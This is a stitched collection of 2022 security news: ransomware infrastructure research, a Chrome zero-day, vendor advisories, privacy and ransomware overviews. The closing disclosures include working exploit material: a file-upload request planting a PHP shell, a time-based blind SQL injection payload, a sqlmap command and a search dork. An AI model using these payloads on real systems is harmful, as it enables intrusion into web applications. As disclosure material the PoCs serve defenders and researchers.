Cybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure.
"Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites," Cisco Talos researcher Paul Eubanks

Cybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure.

"Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites," Cisco Talos researcher Paul Eubanks said. "They use VPS hop-points as a proxy to hide their true location when they connect to their ransomware web infrastructure for remote administration tasks."

Also prominent are the use of the TOR network and DNS proxy registration services to provide an added layer of anonymity for their illegal operations.

But by taking advantage of the threat actors' operational security missteps and other techniques, the cybersecurity firm disclosed last week that it was able to identify TOR hidden services hosted on public IP addresses, some of which are previously unknown infrastructure associated with DarkAngels, Snatch, Quantum, and Nokoyawa ransomware groups.

While ransomware groups are known to rely on the dark web to conceal their illicit activities ranging from leaking stolen data to negotiating payments with victims, Talos disclosed that it was able to identify "public IP addresses hosting the same threat actor infrastructure as those on the dark web."

"The methods we used to identify the public internet IPs involved matching threat actors' \[self-signed\] TLS certificate serial numbers and page elements with those indexed on the public internet," Eubanks said.

Besides TLS certificate matching, a second method employed to uncover the adversaries' clear web infrastructures entailed checking the favicons associated with the darknet websites against the public internet using web crawlers like Shodan.

In the case of Nokoyawa, a new Windows ransomware strain that appeared earlier this year and shares substantial code similarities with Karma, the site hosted on the TOR hidden service was found to harbor a directory traversal flaw that enabled the researchers to access the "/var/log/auth.log" file used to capture user logins.

The findings demonstrate that not only are the criminal actors' leak sites accessible for any user on the internet, other infrastructure components, including identifying server data, were left exposed, effectively making it possible to obtain the login locations used to administer the ransomware servers.

Further analysis of the successful root user logins showed that they originated from two IP addresses 5.230.29\[.\]12 and 176.119.0\[.\]195, the former of which belongs to GHOSTnet GmbH, a hosting provider that offers Virtual Private Server (VPS) services.

"176.119.0\[.\]195 however belongs to AS58271 which is listed under the name Tyatkova Oksana Valerievna," Eubanks noted. "It's possible the operator forgot to use the German-based VPS for obfuscation and logged into a session with this web server directly from their true location at 176.119.0\[.\]195."

**LockBit adds a bug bounty program to its revamped RaaS operation**

The development comes as the operators of the emerging Black Basta ransomware expanded its attack arsenal by using QakBot for initial access and lateral movement, and taking advantage of the PrintNightmare vulnerability (CVE-2021-34527) to conduct privileged file operations.

What's more, the LockBit ransomware gang last week announced the release of LockBit 3.0 with the message "Make Ransomware Great Again!," in addition to launching their own Bug Bounty program, offering rewards ranging between $1,000 and $1 million for identifying security flaws and "brilliant ideas" to improve its software.

"The release of LockBit 3.0 with the introduction of a bug bounty program is a formal invitation to cybercriminals to help assist the group in its quest to remain at the top," Satnam Narang, senior staff research engineer at Tenable, said in a statement shared with The Hacker News.

"A key focus of the bug bounty program are defensive measures: Preventing security researchers and law enforcement from finding bugs in its leak sites or ransomware, identifying ways that members including the affiliate program boss could be doxed, as well as finding bugs within the messaging software used by the group for internal communications and the Tor network itself."

"The threat of being doxed or identified signals that law enforcement efforts are clearly a great concern for groups like LockBit. Finally, the group is planning to offer Zcash as a payment option, which is significant, as Zcash is harder to trace than Bitcoin, making it harder for researchers to keep tabs on the group's activity."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Share Techniques to Uncover Anonymized Ransomware Sites on Dark Web

Google on Monday shipped security updates to address a high-severity zero-day vulnerability in its Chrome web browser that it said is being exploited in the wild.
The shortcoming, tracked as CVE-2022-2294, relates to a heap overflow flaw in the WebRTC component that provides real-time audio and video communication capabilities in browsers without the need to install plugins or download native

Google on Monday shipped security updates to address a high-severity zero-day vulnerability in its Chrome web browser that it said is being exploited in the wild.

The shortcoming, tracked as **CVE-2022-2294**, relates to a heap overflow flaw in the WebRTC component that provides real-time audio and video communication capabilities in browsers without the need to install plugins or download native apps.

Heap buffer overflows, also referred to as heap overrun or heap smashing, occur when data is overwritten in the heap area of the memory, leading to arbitrary code execution or a denial-of-service (DoS) condition.

"Heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code," MITRE explains. "When the consequence is arbitrary code execution, this can often be used to subvert any other security service."

Credited with discovering and reporting the flaw on July 1, 2022, is Jan Vojtesek from the Avast Threat Intelligence team. It's worth pointing out that the bug also impacts the Android version of Chrome.

As is usually the case with zero-day exploitation, details pertaining to the flaw as well as other specifics related to the campaign have been withheld to prevent further abuse in the wild and until a significant chunk of users are updated with a fix.

CVE-2022-2294 also marks the resolution of the fourth zero-day vulnerability in Chrome since the start of the year -

*   **CVE-2022-0609** - Use-after-free in Animation
*   **CVE-2022-1096** - Type confusion in V8
*   **CVE-2022-1364** - Type confusion in V8

Users are recommended to update to version 103.0.5060.114 for Windows, macOS, and Linux and 103.0.5060.71 for Android to mitigate potential threats. Users of Chromium-based browsers such as Microsoft Edge, Brave, Opera, and Vivaldi are also advised to apply the fixes as and when they become available.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Update Google Chrome Browser to Patch New Zero-Day Exploit Detected in the Wild

Zoho ManageEngine ADSelfService Plus before 6203 allows a denial of service (application restart) via a crafted payload to the Mobile App Deployment API.

**CVE-2022-34829 – DoS attack issue in Mobile App Deployment API**

Vulnerability Details

Severity

High

CVE ID

CVE-2022-34829

Affected software versions

Builds 6202 and below

Fixed version

Build 6203

Fixed on

June 30, 2022

**Details**

CVE-2022-34829 refers to a denial-of-service (DoS) attack security vulnerability reported in ManageEngine ADSelfService Plus that caused the application to restart whenever a call with a vulnerable payload was sent to the Mobile App Deployment API.

We have now released ADSelfService Plus, build 6203, that fixes the issue by restricting the Mobile App Deployment API from processing any vulnerable payloads.

**Impact**

This vulnerability will cause the application to restart every time the Mobile App Deployment API receives a vulnerable payload.

**Steps to update**

Update your ADSelfService Plus instance to 6203 using the service pack.

**Acknowledgements**

This issue was reported by Skay through the Zoho BugBounty program.

**Request Support**

Need further assistance? Fill this form, and we'll contact you rightaway.

Highlights

**Password self-service**

Free Active Directory users from attending lengthy help desk calls by allowing them to self-service their password resets/ account unlock tasks. Hassle-free password change for Active Directory users with ADSelfService Plus ‘Change Password’ console. 

**One identity with Single sign-on**

Get seamless one-click access to 100+ cloud applications. With enterprise single sign-on, users can access all their cloud applications with their Active Directory credentials. Thanks to ADSelfService Plus! 

**Password Synchronizer**

Synchronize Windows Active Directory user password/account changes across multiple systems, automatically, including Office 365, G Suite, IBM iSeries and more. 

**Password Policy Enforcer**

Ensure strong user passwords that resist various hacking threats with ADSelfService Plus by enforcing Active Directory users to adhere to compliant passwords via displaying password complexity requirements.

**Directory Self-Update & Corporate Search**

Portal that lets Active Directory users update their latest information and a quick search facility to scout for information about peers by using search keys, like contact number, of the personality being searched.

CVE-2022-34829: CVE-2022-34829 – ManageEngine ADSelfService Plus

DouPHP version 1.2 Release 20141027 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : DouPHP v1.2 Release 20141027 SQL Injection Vulnerability                                                           || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0(32-bit)                                              | | # Vendor    : https://www.douphp.com/                                                                                            |  | # Dork      : "Powered by DouPHP"                                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] http://127.0.0.1/products_in.php?id=33 <====| inject here[+] http://127.0.0.1/admin/ <====| LoginGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |                                                                                                                                              |=======================================================================================================================================

DouPHP 1.2 Release 20141027 SQL Injection

To celebrate Independence Day we're drawing attention to five technologies that could improve life, liberty and the pursuit of happiness on the Internet. 
The post 5 pro-freedom technologies that could change the Internet appeared first on Malwarebytes Labs.

In the digital era, freedom is inextricably linked to privacy. After a good start, the Internet-enabled, technological revolution we are living through has hit some bumps in the road. We have already lost a lot of control over who and what has access to our data, and there are further threats to our freedom on the horizon.

It doesn’t have to be that way though, and it is not inevitable that the trend will continue. To celebrate Independence Day we want to draw your attention to five technologies that could improve life, liberty and the pursuit of happiness on the Internet.

The technologies are listed in a rough order of simplest, soonest, and most likely to happen, to most complex, furthest out, and least likely to happen.

**DNS encryption**

DNS encryption plugs a gap that makes it easy to track the websites you visit.

The domain name system (DNS) is a distributed address book that lists domain names and their corresponding IP addresses. When you visit a website, your browser sends a request to a DNS resolver, which responds with the IP address of the domain you’re visiting. The request is sent in plain text, which is the computer networking equivalent of yelling the names of all the websites you’re visiting out loud.

Anyone, or anything, on the same local network as you can see your DNS lookups, as can your ISP, which will happily sell your browsing history to the highest bidder. And any machine-in-the-middle (MitM) attackers between you and the DNS resolver—such as rogue Wi-Fi access points—can also silently change your plain text DNS requests and use them to direct you to malicious websites.

DNS encryption restores your privacy by making it impossible for anything other than the DNS resolver to read and respond to your queries. You still have to trust the resolver you send your requests to, but the eavesdroppers are out in the cold.

DNS encryption is new, and still relatively rare, but it is supported natively by modern versions of Windows, macOS, Android, and iOS, as well as a number of different DNS clients, proxies and applications, including the DNS Filtering module for the Malwarebytes Nebula platform. It’s ascendancy seems assured.

**Passwordless authentication**

Passwordless authentication could usher in a world where we no longer rely on passwords, and that could be an enormous, unabashed win for security and peace of mind. The trouble is, that has been true for a _very long time indeed_, and it hasn’t happened yet.

There is reason to hope that things are finally about change though.

Passwords are a great idea in theory that fail horribly in practice. Humans are poorly equipped to create and remember them, and demonstrably poor at building systems that handle them securely. And yet almost every Internet account requires one. The inevitable result is an epidemic of poor passwords and an entire criminal industry preying on them with relentless automated attacks.

For a long time, the successor to the password was widely presumed to be some form of biometric authentication—such as face or fingerprint recognition—but nobody could agree which one. With multiple novel, competing, costly, and incompatible alternatives, passwords remained the clear winner.

The solution to that gridlock was FIDO2.

FIDO2 is a specification that uses public key encryption for authentication. This allows users to log in to websites without sharing a secret that needs to be secured like a password. There is nothing for a programmer to secure, nothing for an attacker to guess, and nothing that can be stolen in a data breach.

The sensitive encrpytion work all happens on a device owned by the user, which can be a specialist hardware key, a phone, a laptop, or any other compatible device. FIDO2 doesn’t specify what the device is, or how it should be secured, only that a user must make a “gesture” to approve the authentication. This leaves device manufacturers free to use whatever “gesture” works best for them: PIN numbers, swipe patterns, and any and all forms of biometrics. The end result is a technology that allows you to log in to a website securely using Windows Hello, Apple’s Touch ID, and any number of other methods that exist now or could be created in the future.

Passwordless authentication is possible today but still extremely rare. However, it took a big step forward in May this year when Google, Microsoft, and Apple made simultaneous, coordinated pledges to increase their adoption of the FIDO2 standard.

**Onion networking**

Onion networking, the technology behind Tor and the “dark web”, has been around for twenty years, so it might seem an odd candidate for an emerging technology that could change everything—but what if that’s just because we’ve been thinking about it the wrong way?

Tor is a network of servers that allows software clients (like web browsers) and services (like websites) to communicate securely and anonymously. Although the software is extremely good at what it does, today it services a narrow niche of users who put privacy and security above all, and it has become strongly associated with ransomware, illegal drug markets, and other forms of unsavoury criminal activity.

According to security evangelist Alec Muffett, we are overlooking a very important aspect of this technology though. Muffett was previously a security engineer at Facebook, where he was responsible for putting the social network on Tor. Speaking to David Ruiz on a recent Malwarebytes Lock and Code podcast, he explained how he sees Tor as “a brand new networking stack for the Internet” that can “guarantee integrity, and privacy, and unblockability of communication.”

Every Tor address is also the cryptographic public key of the service you want to talk to. For example, the Facebook address is:

www.facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion

Having the public key act as the address provides cryptographic assurance that you are talking to the service you want to talk to, bypassing several layers of the OSI model, and cutting out fundamental Internet vulnerabilities, such as BGP hijacking.

We should stop thinking about Tor as just an anonymity tool, says Muffet. It should be attractive to anyone who cares about the integrity of their brand and what it has to say:

> If you are in the position of providing a forum, a messenger service, or news to a mass public … where your brand name is a really important part of your value proposition, then onion networking is for you, because you can make sure that no one can mess with your traffic.
> 
> Alec Muffet speaking to Lock and Code.

Although mainstream organizations like The New York Times, Pro Publica, Facebook, and Twitter have already embraced Tor, having a .onion site is still very much the exception. In all likelihood, it will take something quite dramatic to change that, but that doesn’t mean it can’t happen.

In 2013, Edward Snowden’s revelations about pervasive Internet surveillance triggered a huge gobal effort to make encrypted web traffic the norm, rather than the exception.

A similar stimulus today could tip onion networking from its niche into the mainstream.

**Cryptocurrencies**

People may be surprised to see cryptocurrencies appearing in our list. If cryptotrading sites are naming stadia and buying superbowl ads then cryptocurrencies are already mainstream and hardly a technology for the future, surely.

Its presence near the bottom of our list tells you that isn’t how we see it.

Cryptocurrencies face a number of cyclone-force headwinds, starting with the current, across-the-board, price crash. The market cap of the biggest currencies, Bitcoin and Ether, is shrinking fast, and some cryptocurrencies have already disappeared completely; the free flow of venture capital money is likely to dry up; there are issues with scalability, scams, rug pulls, thefts from exchanges, and environmental damage; and the pseudo-anonymity blockchains provide is challenged by our ever-improving capacity to identify patterns in payments.

More importantly, from the perspective of _life, liberty, and the pursuit of happiness_, almost nobody is using these currencies as actual currencies—nobody is paid in Bitcoin, and nobody is using Ether to buy groceries. Remember, Bitcoin was supposed to be a peer-to-peer electronic cash system not a vehicle for speculative trading.

So why is it on our list at all?

For all the reasons to dislike them or write them off, cryptocurrencies are hard to ignore. At its core, the original cryptocurrency, Bitcoin, was supposed to be a trustless, borderless payment system that was built on top of the Internet.

> What is needed is an electronic payment system based on cryptographic proof instead of trust, allowing any two willing parties to transact directly with each other without the need for a trusted third party.
> 
> “Satoshi Nakamoto”, from Bitcoin: A Peer-to-Peer Electronic Cash System

It was a vision of what freedom might look like in the digital age.

That desire for freedom propelled Bitcoin it in its early days, and the attractiveness of a private, peer-to-peer currency is undimmed, even if nobody has managed to actually build one that works yet.

The current crash will pass and the strongest ideas and technology will survive. We suspect that Satoshi’s original vision will be one of them, even if Bitcoin isn’t.

**Homomorphic encryption**

The cornerstone of digital privacy, security, and freedom is encryption, and the last item in our list is one of its holy grails: Encryption that never needs to be undone.

Encryption protects your data if your phone is stolen, and it makes your emails, credit card details, and WhatsApp messages tamper proof as they whizz around the Internet. And it’s what underpins all of the other things in our list.

And all of the examples above have something in common: They are either examples of encryption that’s used to protect data at rest, or data that’s in transit. Moving or storing data only gets you so far though, sooner or later it has to be used. It can’t be used unless it’s decrypted, and you need to trust whatever system has access to that decrypted data.

Homomorphic encryption algorithms allow mathematical operations to be performed on encrypted data, so that it doesn’t need to be decrypted at all, ever, even when it’s being used.

The result of performing a mathematical operation on the encrypted data is the same as if the data was decrypted, subject to a mathematical operation, and the answer encrypted.

This incredible act of needle threading needs to ensure that you can’t learn anything about the data from the ciphertext (the encrypted version of the data), and that you can’t learn anything at all about it by observing the mathematical operations performed on it.

If you had access to homomorphic encryption you wouldn’t have to trust anyone you share your data with, whether they are the vendors in your organization’s supply chain, or your favorite, data-hungry social network.

Almost unbelievably, homomorphic encryption algorithms already exist. The reason you don’t have access to their almost magical properties though is that they are prohibitively slow. It currently takes days for them to perform actions that we expect to take seconds.

Although slow, these algorithms are already millions of times quicker than they were just a few years ago. And while that rate of improvement will surely decelerate, the processing power of computers is still doubling every few years.

At some point in the not-too-distant future, when these two trends meet, it could change how we think about trust and freedom in the digital age completely.

5 pro-freedom technologies that could change the Internet

Plus: Indian hacker-for-hire groups, Chinese student espionage efforts, and more.

Your car is a data gold mine. Each trip you make produces a lot of data—from your location to your use of infotainment systems—and car manufacturers are getting better at using this information. One 2019 analysis found cars could generate up to 25 gigabytes of data per hour. As companies refine their ability to mine this data, your car could prove to be the next national security threat. This week, the Chinese town of Beidaihe banned Teslas from its streets as the country’s Communist party leaders gather in the area. One possible reason for the ban is that the cars could reveal sensitive details about China’s most senior figures.

Elsewhere, German mobile providers are testing “digital tokens” as a way to serve up personalized advertising on people’s phones. The trial of TrustPid by Vodafone and Deutsche Telekom generates pseudo-anonymous tokens based on people’s IP addresses and uses them to show personalized product recommendations. The move has been likened to “supercookies,” which have previously been used to track people without their permission. While Vodafone denies the system is akin to supercookies, privacy advocates say it is a step too far. “Companies that operate communication networks should neither track their customers nor should they help others to track them,” privacy researcher Wolfie Christl told WIRED.

In other stories this week, we’ve rounded up the critical updates from Android, Chrome, Microsoft, and others that emerged in June—you should make those updates now. We also looked at how the new ZuoRAT router malware has infected at least 80 targets worldwide. And we detailed how to use Microsoft Defender on all your Apple, Android, and Windows devices.

But that’s not all. We have a rundown of the week’s big security news that we haven’t been able to cover ourselves. Click on the headlines to read the full stories. And stay safe out there.

California’s gun database, dubbed the Firearms Dashboard Portal, was meant to improve transparency around the sale of weapons. Instead, when new data was added to it on June 27, the update proved to be a calamity. During the planned publication of new information, the California Department of Justice made a spreadsheet publicly accessible online and exposed more than 10 years of gun owner information. Included in the data breach were the names, dates of birth, genders, races, driver’s license numbers, addresses, and criminal histories of people who were granted or denied permits for concealed and carry weapons between 2011 and 2021. More than 40,000 CCW permits were issued in 2021; however, California’s justice department said financial information and Social Security numbers weren’t included in the data breach.

While the spreadsheet was online for under 24 hours, an initial investigation appears to indicate that the breach was more widespread than initially thought. In a press release issued on June 29, the Californian DOJ said other parts of its gun databases were also “impacted.” Information contained in the Assault Weapon Registry, Handguns Certified for Sale, Dealer Record of Sale, Firearm Safety Certificate, and Gun Violence Restraining Order dashboards may have been exposed in the breach, the department said, adding that it is investigating what information could have been revealed. Responding to the data breach, the Fresno County Sheriff’s Office said it was “worse than previously expected” and that some of the potentially impacted information “came as a surprise to us.”

Indian hacker-for-hire groups have been targeting lawyers and their clients across the globe for the better part of a decade, a Reuters investigation revealed this week. Hacking groups have used phishing attacks to gain access to confidential legal documents in more than 35 cases since 2013 and targeted at least 75 US and European companies, according to the report, which is partly based on a trove of 80,000 emails sent by Indian hackers over the past seven years. The investigation details how hack-for-hire groups operate and how private investigators take advantage of their ruthless nature. As Reuters published its investigation, Google’s Threat Analysis Group made public dozens of domains belonging to alleged hack-for-hire groups in India, Russia, and the United Arab Emirates.

Since 2009, the Chinese hacking group APT40 has targeted companies, government bodies, and universities around the world. APT40 has hit countries including the United States, United Kingdom, Germany, Cambodia, Malaysia, Norway, and more, according to security firm Mandiant. This week, a _Financial Times_ investigation found that Chinese university students have been tricked into working for a front company linked to APT40 and been involved in researching its hacking targets. The newspaper identified 140 potential translators who had applied to job ads at Hainan Xiandun, a company allegedly linked to APT40 and named in a US Department of Justice indictment in July 2021. Those applying for jobs at Hainan Xiandun were asked to translate sensitive US government documents and appear to have been “unwittingly drawn into a life of espionage,” according to the story.

In 2021, North Korean hackers stole around $400 million in crypto as part of the country’s efforts to evade international sanctions and bolster its nuclear weapons program. This week, investigators started linking the theft of around $100 million in cryptocurrency from Horizon Bridge, on June 23, to North Korean actors. Blockchain analysis firm Elliptic says it has uncovered “strong indications” that North Korea’s Lazarus Group may be linked to the Horizon Bridge hacking incident—and Ellipictic is not the only group to have made the connection. The attack is the latest in a string against blockchain bridges, which have become increasingly common targets in recent years. However, investigators say the ongoing crypto crash has wiped millions in value from North Korea’s crypto heists.

Gun Database Breach Leaks Details on Thousands of Owners

LockBit remained the most active threat in June, and “the costliest strain of ransomware ever documented” went dark while others surged.
The post Ransomware review: June 2022 appeared first on Malwarebytes Labs.

Malwarebytes Threat Intelligence builds a monthly picture of ransomware activity by monitoring the information published by ransomware gangs on their Dark Web leak sites. This information represents victims who were successfully attacked but opted not to pay a ransom.

In June, LockBit was the most active ransomware, just as it has been all year. The month was also notable for the disappearance of Conti, and the large number of attacks by groups alleged to have links with the disbanded group.

The service industry remained the hardest hit industry sector, and the USA the most attacked country. The number of attacks in the USA continued to dwarf other countries, with more known victims than Canada and all the European countries in our list combined.

Known ransomware attacks by group, June 2022

Known ransomware attacks by country, June 2022

Known ransomware attacks by industry sector, June 2022

**LockBit**

Without fanfare, LockBit has become the dominant force in ransomware this year. Although there were fewer victims on its leak site in June than in May, it was still far ahead of its competition.

While Conti—“the costliest strain of ransomware ever documented,” according to the FBI—has spent 2022 making noisy pronouncements and digging itself out of a hole of its own making with a hair-brained scheme to fake its own death, LockBit has been all business.

Like all the ransomware in our review, LockBit is offered in the form of ransomware-as-a-service (RaaS). Attacks are carried out by affiliates (“pen testers”) who pay the LockBit organization 20 percent of the ransoms they receive in return for using its software and services.

And while some ransomware gangs seem to want to tell the world what they think, and how great they are, LockBit seems to care more about what its users think. Its affiliate page begins with a statement that seems designed to contrast it with its nosiy Russian rival:

> We are located in the Netherlands, completely apolitical and only interested in money.

Thereafter the page is peppered with people-pleasing language designed to signal the gang’s trustworthiness and willingness to listen. Affiliates are asked “if you do not find one of your favorite features, please inform us,” and told that “it is very important for us to know about all our strengths and weaknesses.” It says “we have never cheated anyone and always fulfill our agreements. Decrypter work, stolen data is deleted”

It is this combination of attractiveness to affiliates and an ability to avoid costly mistakes that seems to be behind its success this year.

This risk averse approach is nothing new. Out of an abundance of self interest, ransomware has always conspicuously avoided attacking targets in Russia and the Commonwealth of Indpednent States, for example. Attracting the attention of the three-letter agencies in Russia and the USA is simply bad for business.

Unusually, LockBit hit the headlines in June with some obvious publicity seeking. The gang launched LockBit 3.0, along with a new dark web site, and a bug bounty program promising rewards of up to $1 million for finding bugs in its website and software, submitting brilliant ideas, or successfully doxing the head of the gang’s affiliate program.

The LockBit 3.0 bug bounty page

> We invite all security researchers, ethical and unethical hackers on the planet to participate in our bug bounty program. The amount of remuneration varies from $1000 to $1 million.

Whether the group seriously intends to pay out these sums remains to be seen. If all it wanted from the announcement was to drum up some publicity, it has already succeeded. However, if it does intend to use bug bounties it improve its software and sharpen its approach then it could deprive law enforcement and security researchers of valuable tools and information.

**Conti**

As expected, the last public vestige of the Conti ransomware gang, its leak site, disappeared in June, after a few weeks of inactivity. As we reported in last month’s ransomware review, detailed research by Advintel in May suggested that the gang’s alignment with the Russian state in February had caused victims’ lawyers to warn against paying it ransoms, for fear of breaking sanctions.

When the group’s revenue dried up its leaders allegedly hatched a plot to retire the brand by dispersing its members into other ransomware gangs like BlackBasta, BlackByte, KaraKurt, Hive and ALPHV, and then faking its own death.

Malwarebytes Threat Intelligence was able to independently confirm that Conti sent an internal announcement about its retirement to affiliates at the end of May, and that its internal chat servers stopped working around the same time.

The leak site disappeared on June 22, 2022, and remains down.

The Conti leak site on June 22, 2022

The Conti shutdown has overlapped with the overnight arrival of BlackBasta in April and a big increase in activity (and the appearance of a new leak site) by KaraKurt in June. It may be a coincidence, but we note that last month the combined activity of BlackBasta, BlackByte, and KaraKurt reached Conti-like levels.

Known attacks involving Conti compared to known attacks involving alleged Conti “brands” BlackBasta, BlackByte, and KaraKurt

The resurgent KaraKurt extortion group has a new leak site

**Trends**

Most software, even malware, trends towards “feature completeness”—a point where adding new features adds little, if anything, to its usefulness. Ransomware has been more-or-less feature complete for a number of years, and most RaaS offerings have very similar capabilities.

Similarly, the way that ransomware is packaged and sold, and the ways that different affiliates break into networks and deploy ransomware vary little from one ransomware group to another, and evolve slowly.

The most active area of innovation in the last few years appears to be how gangs operate as a business, and in how they put pressure on victims to pay a ransom.

In June we saw some things we haven’t seen before: The LockBit gang offering bug bounties, and a leak site by the ALPHV group aimed at the staff and customers of a victim.

At least one ransomware gang has tried targeting executives at the top of companies in an effort to ramp up the pressure, but ALPHV’s targeting of employees and customers with a dedicated website is new. The site allowed guests and employees to explore the personal data ALPHV had stolen from them in the attack and, very unusually, the leak site was _not_ on the dark web.

A leak site dedicated to one victim, a hotelier, allowed guests and employees to explore the data about them that had been stolen

By putting the site on the regular web the gang made the infrmation much more accessible to non-technical users, but without the protection of Tor it only lasted a few days before being taken down. The gang would certainly have known this would happen, but presumably it only had to last long enough to gather the attention it needed in order to impact negotiations.

The experimental ALPHV leak site appeared on the regular world wide web and was even indexed by Google

Such innovation is nothing new—ransomware gangs experiment with new ideas all the time. The experiments that don’t work are forgotten and those that do are quickly copied by other gangs.

In this case the experiment appears to have been unsuccessful. The victim has since appeared on the main ALPHV dark web leak site, which normally indicates they have resisted the pressure to pay a ransom.

**Malwarebytes protection**

Malwarebytes can protect systems against all ransomware variants in several ways.

The Malwarebytes Anti-Malware technology detects malicious files, browser modifications, and system modifications on Windows PCs using a combination of signature-based and signatureless technologies.

For those already infected, Ransomware Rollback can help recover encrypted files within 72 hours of the attack. Rollback creates a local cache on the endpoint to store changes to files on the system. It can use this cache to help revert changes caused by a threat. The rollback feature is dependent on activity monitoring available in Malwarebytes Endpoint Detection and Response.

Ransomware review: June 2022

College Management System v1.0 was discovered to contain a remote code execution (RCE) vulnerability via /College/admin/teacher.php. This vulnerability is exploited via a crafted PHP file.

Permalink

Cannot retrieve contributors at this time

**College Management System v1.0 by itsourcecode.com has arbitrary code execution (RCE)**

Login account: admin@gmail.com/admin123\* (Super Admin account)

vendor: https://itsourcecode.com/free-projects/php-project/college-management-system-project-in-php-and-mysql/

Vulnerability url: /College/admin/teacher.php

Vulnerability file: /College/admin/teacher.php

Payload:

POST /College/admin/teacher.php HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/College/admin/Teacher.php
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1; ci\_session=9cjop1qgnjcd780kijmjrva559enogjl
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2754910320402
Content-Length: 3466
\-----------------------------2754910320402
Content-Disposition: form-data; name="first\_name"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="middle\_name"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="last\_name"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="email"
111@qq.com
\-----------------------------2754910320402
Content-Disposition: form-data; name="phone\_no"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="profile\_image"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
\-----------------------------2754910320402
Content-Disposition: form-data; name="teacher\_status"
Permanent
\-----------------------------2754910320402
Content-Disposition: form-data; name="application\_status"
Yes
\-----------------------------2754910320402
Content-Disposition: form-data; name="cnic"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="dob"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="other\_phone"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="gender"
Male
\-----------------------------2754910320402
Content-Disposition: form-data; name="permanent\_address"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="current\_address"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="place\_of\_birth"
1111
\-----------------------------2754910320402
Content-Disposition: form-data; name="matric\_complition\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="matric\_awarded\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="matric\_certificate"; filename=""
Content-Type: application/octet-stream
\-----------------------------2754910320402
Content-Disposition: form-data; name="fa\_complition\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="fa\_awarded\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="fa\_certificate"; filename=""
Content-Type: application/octet-stream
\-----------------------------2754910320402
Content-Disposition: form-data; name="ba\_complition\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="ba\_awarded\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="ba\_certificate"; filename=""
Content-Type: application/octet-stream
\-----------------------------2754910320402
Content-Disposition: form-data; name="ma\_complition\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="ma\_awarded\_date"
1
\-----------------------------2754910320402
Content-Disposition: form-data; name="ma\_certificate"; filename=""
Content-Type: application/octet-stream
\-----------------------------2754910320402
Content-Disposition: form-data; name="password"
teacher123\*
\-----------------------------2754910320402
Content-Disposition: form-data; name="role"
Teacher
\-----------------------------2754910320402
Content-Disposition: form-data; name="btn\_save"
Save Data
\-----------------------------2754910320402--

The files will be uploaded to this directory \\Admin\\images

We visited the directory of the file in the browser and found that the code had been executed

CVE-2022-32420: bug_report/RCE-1.md at main · rainb0w-q/bug_report

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the editid parameter at orders.php.

The editid parameter in the orders.php page appears to be vulnerable to SQL injection attacks.

    Parameter: editid (GET)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: editid=1' AND (SELECT 7774 FROM (SELECT(SLEEP(5)))puHE) AND 'zVYe'='zVYe
    

    GET /hms/orders.php?editid=1 HTTP/1.1
    Host: 192.168.74.136
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=sbgmgg8q26ri1tmnqfv7poto25
    Upgrade-Insecure-Requests: 1

CVE-2022-32095: GitHub - Danie1233/Hospital-Management-System-v1.0-SQLi-4

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the loginid parameter at doctorlogin.php.

****Hospital-Management-System v1.0-SQLi-3******Vendor**

**Description:**

The vulnerability page is doctorlogin.php

http://your-ip/hms/doctorlogin.php

Hospital-Management-System v1.0

The loginid parameter in the doctorlogin.php page appears to be vulnerable to SQL injection attacks.

\[+\]sqlmap:

python sqlmap.py -r Your post packet.txt --random-agent --risk=3 --level=3 -dbs

\[+\] Payloads:

    Parameter: loginid (POST)
        Type: time-based blind
